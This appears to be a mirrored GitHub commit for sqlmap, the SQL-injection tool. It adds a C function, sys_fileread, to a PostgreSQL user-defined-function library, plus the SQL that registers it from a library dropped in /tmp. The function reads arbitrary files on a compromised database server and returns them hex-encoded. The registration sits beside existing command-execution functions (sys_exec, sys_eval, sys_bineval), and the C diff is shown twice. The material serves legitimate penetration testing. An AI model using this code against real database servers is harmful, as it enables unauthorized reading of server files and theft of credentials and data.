mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 19:13:48 +03:00
Added sys_fileread() for PostgreSQL --read-file binary
This commit is contained in:
parent
574880ba73
commit
49146e573a
|
@ -205,3 +205,69 @@ DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 argv0_size;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
char *result;
|
||||
char *buffer;
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
filename = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(filename, VARDATA(argv0), argv0_size);
|
||||
filename[argv0_size] = '\0';
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
{
|
||||
PG_RETURN_POINTER(NULL);
|
||||
}
|
||||
|
||||
fseek(file, 0, SEEK_END);
|
||||
len = ftell(file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
|
||||
buffer=(char *)malloc(len + 1);
|
||||
if (!buffer)
|
||||
{
|
||||
fclose(file);
|
||||
PG_RETURN_POINTER(NULL);
|
||||
}
|
||||
|
||||
fread(buffer, len, 1, file);
|
||||
fclose(file);
|
||||
|
||||
result = (char *)malloc(2*len + 1);
|
||||
for (i=0, j=0; i<len; i++)
|
||||
{
|
||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
||||
result[j++] = table[ buffer[i] & 0x0f];
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||
#else
|
||||
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
free(filename);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
|
|
@ -22,3 +22,4 @@
|
|||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
|
|
|
@ -205,3 +205,69 @@ DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 argv0_size;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
char *result;
|
||||
char *buffer;
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
filename = (char *)malloc(argv0_size + 1);
|
||||
|
||||
memcpy(filename, VARDATA(argv0), argv0_size);
|
||||
filename[argv0_size] = '\0';
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
{
|
||||
PG_RETURN_POINTER(NULL);
|
||||
}
|
||||
|
||||
fseek(file, 0, SEEK_END);
|
||||
len = ftell(file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
|
||||
buffer=(char *)malloc(len + 1);
|
||||
if (!buffer)
|
||||
{
|
||||
fclose(file);
|
||||
PG_RETURN_POINTER(NULL);
|
||||
}
|
||||
|
||||
fread(buffer, len, 1, file);
|
||||
fclose(file);
|
||||
|
||||
result = (char *)malloc(2*len + 1);
|
||||
for (i=0, j=0; i<len; i++)
|
||||
{
|
||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
||||
result[j++] = table[ buffer[i] & 0x0f];
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||
#else
|
||||
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
free(filename);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue
Block a user